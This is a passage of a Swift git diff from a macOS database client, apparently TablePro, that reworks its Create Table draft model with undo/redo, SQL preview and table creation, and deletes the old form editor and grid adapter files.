     @Published internal private(set) var compositionFailure: String?
 
-    // Made on the first mount, which knows the connection; held here so the grid outlives the view.
-    internal private(set) var gridAdapter: CreateTableGridAdapter?
+    internal var executionGate: any ExecutionGate = ExecutionGateProvider.shared
 
+    private var focusesNameOnAppear = true
+    private var optionDefaultsScope: DatabaseScope?
+    private var optionsCatalogRead: Task<Void, Never>?
     private var composedKey: CreateTableCompositionKey?
     private var compositionGeneration = 0
-    private var changeManagerForwarding: AnyCancellable?
+    private var cancellables: Set<AnyCancellable> = []
 
-    internal init() {
-        changeManagerForwarding = changeManager.objectWillChange
+    internal init(connection: DatabaseConnection, scope: DatabaseScope?) {
+        self.connection = connection
+        self.scope = scope
+        editor = StructureDefinitionEditor(
+            manager: changeManager,
+            context: .newTable(
+                connection: connection,
+                databaseName: scope?.database ?? connection.database,
+                schemaName: scope?.schema
+            )
+        )
+        editor.characterSetContextProvider = { [weak self] in
+            ColumnCharacterSetMenus.Context(
+                catalog: self?.optionsCatalog ?? .idle,
+                tableCharacterSet: self?.tableOptions.charset
+            )
+        }
+        editor.characterSetCatalogReader = { [weak self] in
+            self?.readOptionsCatalogIfNeeded()
+        }
+        changeManager.objectWillChange
             .sink { [weak self] in self?.objectWillChange.send() }
+            .store(in: &cancellables)
+        $optionsCatalog
+            .dropFirst()
+            .receive(on: RunLoop.main)
+            .sink { [weak self] _ in self?.editor.refresh() }
+            .store(in: &cancellables)
     }
 
+    // MARK: - Setup
+
+    // Runs on every appearance; each step skips what is done.
+    internal func prepare(coordinator: MainContentCoordinator?) {
+        editor.coordinator = coordinator
+        editor.serverSupport = StructureServerSupport.forConnection(connection.id)
+        resolveForm(from: DatabaseManager.shared.driver(for: connection.id)?.createTableFormSpec(schema: scope?.schema))
+    }
+
+    internal func resolveForm(from spec: @autoclosure () -> PluginCreateTableFormSpec?) {
+        guard !hasResolvedForm else { return }
+        hasResolvedForm = true
+        form = spec().map(CreateTableFormState.init(spec:))
+        if form == nil, changeManager.workingColumns.isEmpty {
+            changeManager.addNewColumn()
+            editor.refresh()
+        }
+    }
+
+    // The Name field takes focus when the tab first shows, not on every return to it.
+    internal func claimNameFocus() -> Bool {
+        guard focusesNameOnAppear else { return false }
+        focusesNameOnAppear = false
+        return true
+    }
+
+    // MARK: - State
+
     internal var holdsWork: Bool {
         !tableName.isEmpty
             || ObjectCommentDraft.normalized(tableOptions.comment) != nil
@@ -73,16 +133,91 @@ internal final class CreateTableDraft: ObservableObject {
             || changeManager.workingForeignKeys.contains {
                 !$0.name.isEmpty || !$0.columns.isEmpty || !$0.referencedTable.isEmpty
             }
+            || changeManager.workingCheckConstraints.contains { !$0.name.isEmpty || !$0.expression.isEmpty }
+    }
+
+    internal var hasChanges: Bool { holdsWork }
+
+    // The composed statement adds what the driver refuses; until it catches up with the draft, the plan's own.
+    internal var issues: [SchemaDraftIssue] {
+        currentComposedIssues ?? plan().issues
     }
 
-    internal func gridAdapter(for connection: DatabaseConnection) -> CreateTableGridAdapter {
-        if let gridAdapter { return gridAdapter }
-        let adapter = CreateTableGridAdapter(structureChangeManager: changeManager, connection: connection)
-        adapter.draft = self
-        gridAdapter = adapter
-        return adapter
+    internal var isReadyToCreate: Bool {
+        guard hasResolvedForm, !isCreating else { return false }
+        if let form {
+            return form.issues(tableName: tableName).isEmpty
+        }
+        let plan = plan()
+        return plan.definition != nil && (currentComposedIssues ?? plan.issues).isEmpty
+    }
+
+    private var currentComposedIssues: [SchemaDraftIssue]? {
+        guard let composed, let composedKey, composedKey == compositionKey else { return nil }
+        return composed.issues
+    }
+
+    // The definition the issue names, when it names one row.
+    internal func entityID(for issue: SchemaDraftIssue) -> UUID? {
+        guard let row = issue.row else { return nil }
+        let ids = StructureGridEdits.entityIDs(in: issue.section, manager: changeManager)
+        return ids.indices.contains(row) ? ids[row] : nil
+    }
+
+    internal func reveal(_ issue: SchemaDraftIssue) {
+        guard let id = entityID(for: issue) else { return }
+        pane = .definition
+        editor.reveal(section: issue.section, entity: id)
+    }
+
+    // MARK: - Commands
+
+    // The section commands act on: the one holding the selection, else Columns.
+    internal var commandSection: StructureSection { editor.commandSection }
+
+    private var editsDefinition: Bool { hasResolvedForm && form == nil }
+
+    internal var canUndo: Bool { editsDefinition && changeManager.canUndo }
+    internal var canRedo: Bool { editsDefinition && changeManager.canRedo }
+    internal var undoMenuItemTitle: String { changeManager.undoMenuItemTitle }
+    internal var redoMenuItemTitle: String { changeManager.redoMenuItemTitle }
+
+    internal func undo() {
+        guard canUndo else { return }
+        commitOpenEdits()
+        changeManager.undo()
+        editor.refresh()
+    }
+
+    internal func redo() {
+        guard canRedo else { return }
+        commitOpenEdits()
+        changeManager.redo()
+        editor.refresh()
+    }
+
+    internal var canAddRow: Bool { editsDefinition && pane == .definition && editor.canAdd(commandSection) }
+
+    internal func addRow() {
+        guard canAddRow else { return }
+        editor.add(commandSection)
     }
 
+    internal var canRemoveRows: Bool {
+        editsDefinition && pane == .definition && editor.canRemoveSelection(in: commandSection)
+    }
+
+    internal func removeSelectedRows() {
+        guard canRemoveRows else { return }
+        editor.removeSelection(in: commandSection)
+    }
+
+    internal func commitOpenEdits() {
+        editor.commitPendingEdits()
+    }
+
+    // MARK: - Table options
+
     // The driver's catalog decides, never the engine's type: a driver without one has no table options.
     internal var catalog: TableOptionsCatalog? {
         guard case .loaded(let catalog) = optionsCatalog else { return nil }
@@ -91,6 +226,13 @@ internal final class CreateTableDraft: ObservableObject {
 
     internal var offersEngineOptions: Bool { catalog != nil }
 
+    // A driver's own form names everything its table takes.
+    internal var offersTableComment: Bool {
+        guard editsDefinition else { return false }
+        let support = DatabaseObjectToolEligibility.Support.of(DatabaseManager.shared.driver(for: connection.id))
+        return support.commentableTypes.contains(.table)
+    }
+
     internal func selectCharacterSet(_ charset: String?) {
         guard charset != tableOptions.charset else { return }
         tableOptions = tableOptions.selectingCharacterSet(
@@ -100,7 +242,8 @@ internal final class CreateTableDraft: ObservableObject {
     }
 
     // Idempotent: a remount skips what is loaded, and a read a switch cancelled runs again on return.
-    internal func loadTableOptions(scope: DatabaseScope, provider: any ScopedMetadataProviding = DatabaseManager.shared) async {
+    internal func loadTableOptions(provider: any ScopedMetadataProviding = DatabaseManager.shared) async {
+        guard let scope else { return }
         let loader = TableStructureLoader(scope: scope, tableName: "", provider: provider)
         await loadOptionsCatalog(using: loader)
         guard catalog != nil, optionDefaultsScope != scope else { return }
@@ -121,13 +264,16 @@ internal final class CreateTableDraft: ObservableObject {
     }
 
     // Opening a column's Charset or Collation menu is the retry.
-    internal func retryOptionsCatalog() {
-        guard case .failed = optionsCatalog, let optionsScope else { return }
-        Task { await loadTableOptions(scope: optionsScope) }
+    private func readOptionsCatalogIfNeeded() {
+        switch optionsCatalog {
+        case .idle, .failed:
+            Task { await loadTableOptions() }
+        case .loading, .loaded:
+            break
+        }
     }
 
     private func loadOptionsCatalog(using loader: TableStructureLoader) async {
-        optionsScope = loader.scope
         if case .loaded = optionsCatalog { return }
         // The draft owns the read, so a view task cancelled by a tab switch leaves it running for the view that returns.
         if let optionsCatalogRead {
@@ -156,22 +302,26 @@ internal final class CreateTableDraft: ObservableObject {
         await read.value
     }
 
-    internal func plan(for databaseType: DatabaseType) -> CreateTablePlan {
+    // MARK: - Composition
+
+    internal func plan() -> CreateTablePlan {
         CreateTableDraftBuilder.plan(
             tableName: tableName,
             options: tableOptions,
             columns: changeManager.workingColumns,
             indexes: changeManager.workingIndexes,
             foreignKeys: changeManager.workingForeignKeys,
-            dialect: ForeignKeyDialect.forType(databaseType),
+            checkConstraints: changeManager.workingCheckConstraints,
+            dialect: ForeignKeyDialect.forType(connection.type),
             includesEngineOptions: offersEngineOptions,
             defaults: optionDefaults,
-            suppliesItsOwnKey: PluginManager.shared.defaultPrimaryKeyColumn(for: databaseType) != nil
+            suppliesItsOwnKey: PluginManager.shared.defaultPrimaryKeyColumn(for: connection.type) != nil
         )
     }
 
-    internal func compositionKey(scope: DatabaseScope) -> CreateTableCompositionKey {
-        CreateTableCompositionKey(
+    internal var compositionKey: CreateTableCompositionKey? {
+        guard let scope else { return nil }
+        return CreateTableCompositionKey(
             scope: scope,
             tableName: tableName,
             options: tableOptions,
@@ -179,21 +329,19 @@ internal final class CreateTableDraft: ObservableObject {
             optionDefaults: optionDefaults,
             columns: changeManager.workingColumns,
             indexes: changeManager.workingIndexes,
-            foreignKeys: changeManager.workingForeignKeys
+            foreignKeys: changeManager.workingForeignKeys,
+            checkConstraints: changeManager.workingCheckConstraints
         )
     }
 
-    internal func recompose(databaseType: DatabaseType, scope: DatabaseScope) async {
-        let key = compositionKey(scope: scope)
-        guard key != composedKey else { return }
+    // Keeps the last good statement on screen until the next one lands, and through a failure.
+    internal func recompose() async {
+        guard let scope, let key = compositionKey, key != composedKey else { return }
 
         compositionGeneration += 1
         let generation = compositionGeneration
         do {
-            let statements = try await DatabaseManager.shared.createTableStatements(
-                plan: plan(for: databaseType),
-                scope: scope
-            )
+            let statements = try await DatabaseManager.shared.createTableStatements(plan: plan(), scope: scope)
             guard generation == compositionGeneration else { return }
             composed = statements
             composedKey = key
@@ -205,12 +353,226 @@ internal final class CreateTableDraft: ObservableObject {
             compositionFailure = error.localizedDescription
         }
     }
+
+    internal func formStatements(for request: PluginCreateTableRequest) throws -> [String] {
+        guard let driver = DatabaseManager.shared.driver(for: connection.id) else {
+            throw PluginCreateTableFormError(message: String(localized: "Not connected to database"))
+        }
+        return try driver.createTableStatements(for: request, schema: scope?.schema)
+    }
+
+    internal var formPreview: CreateTableFormState.Preview? {
+        form?.preview(tableName: tableName) { request in try formStatements(for: request) }
+    }
+
+    // MARK: - Preview SQL
+
+    // Refuses what Create Table refuses, so the statements shown are the ones it would run.
+    internal func previewSQL(coordinator: MainContentCoordinator) {
+        guard hasResolvedForm, coordinator.activeSheet == nil else { return }
+        commitOpenEdits()
+        if let formState = form {
+            let formIssues = formState.issues(tableName: tableName)
+            guard formIssues.isEmpty else {
+                reportIncomplete(formIssues.map(\.qualifiedMessage), on: coordinator)
+                return
+            }
+            do {
+                let statements = try formStatements(for: formState.request(tableName: tableName))
+                presentPreview(statements, on: coordinator)
+            } catch {
+                reportPreviewFailure(error, on: coordinator)
+            }
+            return
+        }
+
+        let plan = plan()
+        guard plan.issues.isEmpty else {
+            reportIncomplete(plan.issues.map(\.qualifiedMessage), on: coordinator)
+            return
+        }
+        guard let scope else { return }
+        Task {
+            do {
+                let composed = try await DatabaseManager.shared.createTableStatements(plan: plan, scope: scope)
+                guard composed.issues.isEmpty, !composed.statements.isEmpty else {
+                    reportIncomplete(composed.issues.map(\.qualifiedMessage), on: coordinator)
+                    return
+                }
+                presentPreview(composed.statements, on: coordinator)
+            } catch {
+                reportPreviewFailure(error, on: coordinator)
+            }
+        }
+    }
+
+    private func presentPreview(_ statements: [String], on coordinator: MainContentCoordinator) {
+        guard coordinator.activeSheet == nil, coordinator.activeCreateTableDraft === self else { return }
+        coordinator.toolbarState.previewStatements = statements
+        coordinator.activeSheet = .sqlPreview
+    }
+
+    private func reportIncomplete(_ messages: [String], on coordinator: MainContentCoordinator) {
+        AlertHelper.showErrorSheet(
+            title: String(localized: "Some Changes Are Incomplete"),
+            message: messages.joined(separator: "\n"),
+            window: coordinator.contentWindow
+        )
+    }
+
+    private func reportPreviewFailure(_ error: any Error, on coordinator: MainContentCoordinator) {
+        Self.logger.error("Create Table preview failed: \(error.publicLogShape, privacy: .public)")
+        AlertHelper.showErrorSheet(
+            title: String(localized: "Preview SQL"),
+            message: error.localizedDescription,
+            window: coordinator.contentWindow
+        )
+    }
+
+    // MARK: - Create
+
+    // What Cmd+S and the toolbar's Create Table run.
+    internal func create(coordinator: MainContentCoordinator) {
+        guard hasResolvedForm, !isCreating else { return }
+        commitOpenEdits()
+        if form != nil {
+            createFromForm(coordinator: coordinator)
+        } else {
+            createFromDefinition(coordinator: coordinator)
+        }
+    }
+
+    private func createFromDefinition(coordinator: MainContentCoordinator) {
+        let plan = plan()
+        guard plan.issues.isEmpty else {
+            reportFailure(plan.issues.map(\.qualifiedMessage).joined(separator: "\n"), on: coordinator)
+            return
+        }
+        guard let scope else {
+            reportFailure(String(localized: "Not connected to database"), on: coordinator)
+            return
+        }
+
+        isCreating = true
+        Task {
+            defer { isCreating = false }
+            do {
+                let composed = try await DatabaseManager.shared.createTableStatements(plan: plan, scope: scope)
+                guard composed.issues.isEmpty, !composed.statements.isEmpty else {
+                    reportFailure(composed.issues.map(\.qualifiedMessage).joined(separator: "\n"), on: coordinator)
+                    return
+                }
+                try await run(
+                    composed.statements,
+                    creating: composed.tableName ?? tableName,
+                    in: scope,
+                    coordinator: coordinator
+                )
+            } catch {
+                Self.logger.error("Create table failed: \(error.publicLogShape, privacy: .public)")
+                reportFailure(error.localizedDescription, on: coordinator)
+            }
+        }
+    }
+
+    private func createFromForm(coordinator: MainContentCoordinator) {
+        guard let formState = form else { return }
+        let formIssues = formState.issues(tableName: tableName)
+        guard formIssues.isEmpty else {
+            reportFailure(formIssues.map(\.qualifiedMessage).joined(separator: "\n"), on: coordinator)
+            return
+        }
+        guard let scope else {
+            reportFailure(String(localized: "Not connected to database"), on: coordinator)
+            return
+        }
+
+        let request = formState.request(tableName: tableName)
+        let schema = scope.schema
+        isCreating = true
+        form?.clearSubmissionError()
+
+        Task {
+            defer { isCreating = false }
+            do {
+                let statements = try await DatabaseManager.shared.withMetadataDriver(scope: scope) { driver in
+                    try driver.createTableStatements(for: request, schema: schema)
+                }
+                guard !statements.isEmpty else {
+                    form?.recordSubmissionError(PluginCreateTableFormError(
+                        message: String(localized: "The form produced no statements to run.")
+                    ))
+                    return
+                }
+                try await run(statements, creating: request.tableName, in: scope, coordinator: coordinator)
+            } catch let formError as PluginCreateTableFormError {
+                form?.recordSubmissionError(formError)
+            } catch {
+                Self.logger.error("Create table failed: \(error.publicLogShape, privacy: .public)")
+                reportFailure(error.localizedDescription, on: coordinator)
+            }
+        }
+    }
+
+    // The draft keeps its work after a create, so the tab stays open; the new table opens in its own tab.
+    private func run(
+        _ statements: [String],
+        creating name: String,
+        in scope: DatabaseScope,
+        coordinator: MainContentCoordinator
+    ) async throws {
+        do {
+            try await DatabaseManager.shared.executeCreateTable(
+                statements: statements,
+                databaseType: connection.type,
+                scope: scope,
+                gate: executionGate
+            )
+        } catch let incomplete as CreateTableIncompleteError {
+            openCreatedTable(name, in: scope, showStructure: true, coordinator: coordinator)
+            AlertHelper.showErrorSheet(
+                title: String(localized: "Table Created with Errors"),
+                message: incomplete.message,
+                recoverySuggestion: String(
+                    localized: "The table exists, but a statement after CREATE TABLE failed. Finish the change in its Structure tab."
+                ),
+                window: coordinator.contentWindow
+            )
+            return
+        }
+        openCreatedTable(name, in: scope, showStructure: false, coordinator: coordinator)
+    }
+
+    private func openCreatedTable(
+        _ name: String,
+        in scope: DatabaseScope,
+        showStructure: Bool,
+        coordinator: MainContentCoordinator
+    ) {
+        coordinator.openTableTab(
+            name,
+            schema: scope.schema,
+            database: scope.database.nilIfEmpty,
+            showStructure: showStructure
+        )
+        AppCommands.shared.objectChanged.send(
+            DatabaseObjectChange(connectionId: connection.id, scope: scope, name: name, kind: .rows)
+        )
+    }
+
+    private func reportFailure(_ message: String, on coordinator: MainContentCoordinator) {
+        AlertHelper.showErrorSheet(
+            title: String(localized: "Create Table Failed"),
+            message: message,
+            window: coordinator.contentWindow
+        )
+    }
 }
 
 extension CreateTableDraft: ActiveGridModelProviding {
-    // The definition grid, unless the driver supplied a form of its own.
+    // The section holding the selection while the Definition page is on screen; a driver's form has no grid.
     var activeGridModel: DataGridModel? {
-        guard hasResolvedForm, form == nil else { return nil }
-        return gridAdapter?.model
+        guard editsDefinition, pane == .definition else { return nil }
+        return editor.focusedModel ?? editor.adapter(for: .columns).model
     }
 }
diff --git a/apple/TablePro/Views/Structure/CreateTableFormEditor.swift b/apple/TablePro/Views/Structure/CreateTableFormEditor.swift
deleted file mode 100644
index 0c44badea8..0000000000
--- a/apple/TablePro/Views/Structure/CreateTableFormEditor.swift
+++ /dev/null
@@ -1,90 +0,0 @@
-//
-//  CreateTableFormEditor.swift
-//  TablePro
-//
-
-import SwiftUI
-import TableProPluginKit
-
-private enum CreateTableFormPane: CaseIterable {
-    case form
-    case preview
-
-    var displayName: String {
-        switch self {
-        case .form: String(localized: "Form")
-        case .preview: String(localized: "Preview")
-        }
-    }
-}
-
-internal struct CreateTableFormEditor: View {
-    @ObservedObject internal var draft: CreateTableDraft
-    internal let databaseType: DatabaseType
-    internal let isCreating: Bool
-    internal let generateStatements: (PluginCreateTableRequest) throws -> [String]
-    internal let onCreate: () -> Void
-
-    @State private var pane: CreateTableFormPane = .form
-
-    internal var body: some View {
-        if let form = draft.form {
-            let issues = form.issues(tableName: draft.tableName)
-            let messages = [form.submissionError?.message].compactMap { $0 } + issues.map(\.qualifiedMessage)
-            VStack(spacing: 0) {
-                PaneTabBar(
-                    title: String(localized: "View"),
-                    selection: $pane,
-                    identifier: "create-table-form-tabs"
-                ) {
-                    ForEach(CreateTableFormPane.allCases, id: \.self) { tab in
-                        Text(tab.displayName).tag(tab)
-                    }
-                }
-
-                Divider()
-
-                Group {
-                    switch pane {
-                    case .form:
-                        CreateTableFormView(draft: draft)
-                    case .preview:
-                        CreateTableFormPreview(
-                            preview: form.preview(tableName: draft.tableName, generate: generateStatements),
-                            databaseType: databaseType
-                        )
-                    }
-                }
-                .frame(maxWidth: .infinity, maxHeight: .infinity)
-
-                Divider()
-
-                HStack(spacing: 8) {
-                    if let first = messages.first {
-                        Label(first, systemImage: "exclamationmark.triangle.fill")
-                            .font(.callout)
-                            .foregroundStyle(.secondary)
-                            .lineLimit(1)
-                            .truncationMode(.tail)
-                            .help(messages.joined(separator: "\n"))
-                            .accessibilityIdentifier("create-table-validation")
-                    }
-
-                    Spacer(minLength: 12)
-
-                    Button(
-                        isCreating ? String(localized: "Creating…") : String(localized: "Create Table"),
-                        action: onCreate
-                    )
-                    .buttonStyle(.borderedProminent)
-                    .tint(.accentColor)
-                    .disabled(!issues.isEmpty || isCreating)
-                    .keyboardShortcut(.return, modifiers: .command)
-                    .accessibilityIdentifier("create-table-commit")
-                }
-                .padding(.horizontal)
-                .padding(.vertical, 8)
-            }
-        }
-    }
-}
diff --git a/apple/TablePro/Views/Structure/CreateTableGridAdapter.swift b/apple/TablePro/Views/Structure/CreateTableGridAdapter.swift
deleted file mode 100644
index 599cc720d7..0000000000
--- a/apple/TablePro/Views/Structure/CreateTableGridAdapter.swift
+++ /dev/null
@@ -1,327 +0,0 @@
-//
-//  CreateTableGridAdapter.swift
-//  TablePro
-//
-
-import AppKit
-import TableProPluginKit
-
-// The Create Table grid: every row is a definition the draft holds, edited by the definition a row
-// names. Held by the draft, so the grid's state survives the tab being switched away and back.
-@MainActor
-final class CreateTableGridAdapter {
-    let model: DataGridModel
-    let store: StructureGridStateStore
-    let structureChangeManager: StructureChangeManager
-    let connection: DatabaseConnection
-    let referenceMenus: ForeignKeyReferenceMenus
-
-    weak var coordinator: MainContentCoordinator?
-    // Holds the catalog the Charset and Collation cells pick from, and the table's own character set.
-    weak var draft: CreateTableDraft?
-    var serverSupport = StructureServerSupport.unrestricted
-    private(set) var structureTab: StructureTab = .columns
-
-    var schemaName: String? {
-        get { referenceMenus.schemaName }
-        set { referenceMenus.schemaName = newValue }
-    }
-
-    private(set) var provider: StructureRowProvider
-    private var sortDescriptor: StructureSortDescriptor?
-    private var snapshot = StructureGridSnapshot()
-    private let changeTracking: StructureGridChangeState
-    private let changeState: AnyChangeManager
-
-    init(structureChangeManager: StructureChangeManager, connection: DatabaseConnection) {
-        self.structureChangeManager = structureChangeManager
-        self.connection = connection
-        let store = StructureGridStateStore()
-        self.store = store
-        self.model = DataGridModel(store: store)
-        self.referenceMenus = ForeignKeyReferenceMenus(connectionId: connection.id, databaseType: connection.type)
-        self.changeTracking = StructureGridChangeState(manager: structureChangeManager)
-        self.changeState = AnyChangeManager(changeTracking)
-        self.provider = StructureRowProvider(
-            changeManager: structureChangeManager,
-            tab: .columns,
-            databaseType: connection.type,
-            additionalFields: [.primaryKey],
-            serverSupport: .unrestricted
-        )
-        referenceMenus.onListsChanged = { [weak self] in
-            self?.coordinator?.inspectorRowSourceRevision += 1
-        }
-        model.dataSource = self
-        model.actions = self
-    }
-
-    func select(_ tab: StructureTab) {
-        guard tab != structureTab else { return }
-        model.commitEditing()
-        structureTab = tab
-        sortDescriptor = nil
-        store.switchSubTab(to: tab)
-        store.sortState = SortState()
-        refresh()
-    }
-
-    var characterSetContext: ColumnCharacterSetMenus.Context {
-        ColumnCharacterSetMenus.Context(
-            catalog: draft?.optionsCatalog ?? .idle,
-            tableCharacterSet: draft?.tableOptions.charset
-        )
-    }
-
-    func characterSetCatalogDidChange() {
-        refresh()
-        coordinator?.inspectorRowSourceRevision += 1
-    }
-
-    func refresh() {
-        changeTracking.tab = structureTab
-        changeTracking.rowCount = StructureGridEdits.rowCount(on: structureTab, manager: structureChangeManager)
-        let provider = StructureRowProvider(
-            changeManager: structureChangeManager,
-            tab: structureTab,
-            databaseType: connection.type,
-            additionalFields: [.primaryKey],
-            serverSupport: serverSupport,
-            sortDescriptor: sortDescriptor,
-            picksCharacterSets: ColumnCharacterSetMenus.offersMenus(characterSetContext.catalog)
-        )
-        self.provider = provider
-        let rows = provider.asTableRows()
-        let states = rows.rows.map { row in
-            StructureGridEdits.visualState(
-                sourceIndex: StructureRowProvider.sourceIndex(of: row.id) ?? -1,
-                tab: structureTab,
-                manager: structureChangeManager,
-                orderedFields: provider.orderedColumnFields,
-                tintsModifiedFields: false
-            )
-        }
-        model.configuration = makeConfiguration(provider: provider)
-        let previous = snapshot
-        snapshot = StructureGridSnapshot(rows: rows, states: states)
-        model.applyHeldSnapshot(from: previous, to: snapshot)
-        if previous.rows.rows != rows.rows || previous.states != states || previous.rows.columns != rows.columns {
-            coordinator?.inspectorRowSourceRevision += 1
-        }
-    }
-
-    private func makeConfiguration(provider: StructureRowProvider) -> DataGridConfiguration {
-        var configuration = DataGridConfiguration()
-        configuration.dropdownColumns = provider.dropdownColumns
-        configuration.typePickerColumns = provider.typePickerColumns
-        configuration.customDropdownOptions = provider.customDropdownOptions
-        configuration.isEditable = true
-        configuration.traits = DataGridEngineTraits(
-            databaseType: connection.type,
-            connectionScope: DatabaseScope(
-                connectionId: connection.id,
-                database: DatabaseManager.shared.browseDatabaseName(for: connection),
-                schema: schemaName
-            ),
-            looksUpUserDefinedTypes: true
-        )
-        configuration.commands = [.addRow, .deleteRows, .valueFilter, .freezeColumns]
-        return configuration
-    }
-
-    // MARK: - Commands
-
-    func menuOptions(sourceIndex: Int, field: Int) -> [GridMenuOption]? {
-        switch structureTab {
-        case .indexes:
-            guard structureChangeManager.workingIndexes.indices.contains(sourceIndex) else { return nil }
-            return StructureRowProvider.indexMenuOptions(
-                columnIndex: field,
-                index: structureChangeManager.workingIndexes[sourceIndex],
-                serverSupport: serverSupport
-            )
-        case .foreignKeys:
-            guard structureChangeManager.workingForeignKeys.indices.contains(sourceIndex) else { return nil }
-            return referenceMenus.options(
-                columnIndex: field,
-                foreignKey: structureChangeManager.workingForeignKeys[sourceIndex],
-                tableColumns: structureChangeManager.workingColumns.map(\.name)
-            )
-        case .columns:
-            guard structureChangeManager.workingColumns.indices.contains(sourceIndex),
-                  provider.orderedColumnFields.indices.contains(field) else { return nil }
-            return ColumnCharacterSetMenus.options(
-                for: provider.orderedColumnFields[field],
-                column: structureChangeManager.workingColumns[sourceIndex],
-                context: characterSetContext
-            )
-        case .checkConstraints, .options, .ddl, .parts, .triggers:
-            return nil
-        }
-    }
-
-    func characterSetLockedFields(sourceIndex: Int) -> Set<Int> {
-        guard structureTab == .columns, structureChangeManager.workingColumns.indices.contains(sourceIndex) else { return [] }
-        return ColumnCharacterSetMenus.lockedFieldIndices(
-            orderedFields: provider.orderedColumnFields,
-            column: structureChangeManager.workingColumns[sourceIndex],
-            catalog: characterSetContext.catalog
-        )
-    }
-
-    @discardableResult
-    func applyEdit(rowID: RowID, field: Int, text: String) -> Bool {
-        guard let sourceIndex = StructureRowProvider.sourceIndex(of: rowID) else { return false }
-        let applied = write(text, field: field, sourceIndex: sourceIndex)
-        refresh()
-        return applied
-    }
-
-    private func write(_ text: String, field: Int, sourceIndex: Int) -> Bool {
-        let characterSets = characterSetContext
-        guard field >= 0,
-              !StructureGridEdits.refuses(
-                  text,
-                  field: field,
-                  sourceIndex: sourceIndex,
-                  tab: structureTab,
-                  manager: structureChangeManager,
-                  orderedFields: provider.orderedColumnFields,
-                  characterSets: characterSets
-              ) else { return false }
-        let changedReference = StructureGridEdits.apply(
-            text,
-            field: field,
-            sourceIndex: sourceIndex,
-            tab: structureTab,
-            manager: structureChangeManager,
-            orderedFields: provider.orderedColumnFields,
-            connection: connection,
-            characterSets: characterSets
-        )
-        if let changedReference {
-            referenceMenus.prefetchReferencedColumns(
-                of: changedReference.referencedTable, schema: changedReference.referencedSchema
-            )
-        }
-        return true
-    }
-
-    func addRow() {
-        StructureGridEdits.addRow(on: structureTab, manager: structureChangeManager)
-        refresh()
-    }
-
-    func deleteRows(_ rowIDs: [RowID]) {
-        let indices = rowIDs.compactMap(StructureRowProvider.sourceIndex(of:))
-        guard !indices.isEmpty else { return }
-        let displayRows = IndexSet(rowIDs.compactMap { model.displayIndex(of: $0) })
-        StructureGridEdits.delete(sourceIndices: indices, tab: structureTab, manager: structureChangeManager)
-        refresh()
-        let remaining = model.rowCount
-        guard remaining > 0, let minRow = displayRows.first, let maxRow = displayRows.last else {
-            model.clearSelection()
-            return
-        }
-        let target = maxRow < remaining ? maxRow : (minRow > 0 ? minRow - 1 : 0)
-        if let rowID = model.rowID(at: target) {
-            model.selectRows([rowID])
-        } else {
-            model.clearSelection()
-        }
-    }
-
-    func undo() {
-        model.commitEditing()
-        structureChangeManager.undo()
-        refresh()
-    }
-
-    func redo() {
-        model.commitEditing()
-        structureChangeManager.redo()
-        refresh()
-    }
-}
-
-extension CreateTableGridAdapter: DataGridDataSource {
-    var gridRows: TableRows { snapshot.rows }
-    var gridChangeState: AnyChangeManager { changeState }
-
-    func gridVisualState(for rowID: RowID) -> RowVisualState? {
-        snapshot.state(for: rowID)
-    }
-
-    func gridMenuOptions(for rowID: RowID, column: DataGridColumn) -> [GridMenuOption]? {
-        guard let sourceIndex = StructureRowProvider.sourceIndex(of: rowID) else { return nil }
-        let options = menuOptions(sourceIndex: sourceIndex, field: column.dataIndex)
-        if structureTab == .columns, provider.orderedColumnFields.indices.contains(column.dataIndex),
-           ColumnCharacterSetMenus.isCharacterSetField(provider.orderedColumnFields[column.dataIndex]) {
-            draft?.retryOptionsCatalog()
-        }
-        return options
-    }
-}
-
-extension CreateTableGridAdapter: DataGridActions {
-    func gridCommit(_ edits: [DataGridResolvedEdit], actionName: String) -> Bool {
-        let writes = edits.compactMap { edit -> (Int, Int, String)? in
-            StructureRowProvider.sourceIndex(of: edit.rowID).map { ($0, edit.dataIndex, edit.newValue.asText ?? "") }
-        }
-        guard !writes.isEmpty else { return false }
-        var applied = false
-        let writeAll = {
-            for (sourceIndex, field, text) in writes {
-                let wrote = self.write(text, field: field, sourceIndex: sourceIndex)
-                applied = applied || wrote
-            }
-        }
-        if writes.count > 1 {
-            structureChangeManager.performAsOneUndoStep(writeAll)
-        } else {
-            writeAll()
-        }
-        refresh()
-        return applied
-    }
-
-    func gridDeleteRows(_ rowIDs: [RowID]) {
-        deleteRows(rowIDs)
-    }
-
-    func gridAddRow() {
-        addRow()
-    }
-
-    func gridSortDidChange(_ sort: SortState) {
-        if let primary = sort.columns.first {
-            sortDescriptor = StructureSortDescriptor(column: primary.columnIndex, ascending: primary.direction == .ascending)
-            store.sortState = SortState(columns: [primary], source: .user)
-        } else {
-            sortDescriptor = nil
-            store.sortState = SortState(columns: [], source: .user)
-        }
-        refresh()
-    }
-}
-
-extension CreateTableGridAdapter: InspectorRowSource {
-    func inspectorRow(atDisplayRow displayRow: Int) -> InspectorRow? {
-        guard let rowID = model.rowID(at: displayRow),
-              let sourceIndex = StructureRowProvider.sourceIndex(of: rowID),
-              let providerRow = provider.displayRow(ofSourceIndex: sourceIndex) else { return nil }
-        return StructureInspectorRowBuilder.row(
-            atDisplayRow: providerRow,
-            tab: structureTab,
-            provider: provider,
-            canEditSchema: true,
-            lockedFieldIndices: characterSetLockedFields(sourceIndex: sourceIndex),
-            rowOptions: { menuOptions(sourceIndex: sourceIndex, field: $0) }
-        )
-    }
-
-    func commitInspectorField(displayRow: Int, fieldIndex: Int, value: String?) {
-        guard let rowID = model.rowID(at: displayRow) else { return }
-        applyEdit(rowID: rowID, field: fieldIndex, text: value ?? "")
-    }
-}
diff --git a/apple/TablePro/Views/Structure/CreateTableView.swift b/apple/TablePro/Views/Structure/CreateTableView.swift
index ffdb61b7ac..1d626da883 100644
--- a/apple/TablePro/Views/Structure/CreateTableView.swift
+++ b/apple/TablePro/Views/Structure/CreateTableView.swift
@@ -3,548 +3,208 @@
 //  TablePro
 //
 
-import AppKit
-import Combine
-import os
 import SwiftUI
 import TableProPluginKit
 
-private enum CreateTableTab: CaseIterable {
-    case columns
-    case indexes
-    case foreignKeys
-    case sqlPreview
-
-    var displayName: String {
-        switch self {
-        case .columns: String(localized: "Columns")
-        case .indexes: String(localized: "Indexes")
-        case .foreignKeys: String(localized: "Foreign Keys")
-        case .sqlPreview: String(localized: "SQL Preview")
-        }
-    }
-}
-
+// A Create Table tab: the Structure tab's Definition page over an empty table, with the name on top, and the
+// CREATE statement it composes. Create Table runs from the toolbar and Cmd+S; the table options are in the inspector.
 struct CreateTableView: View {
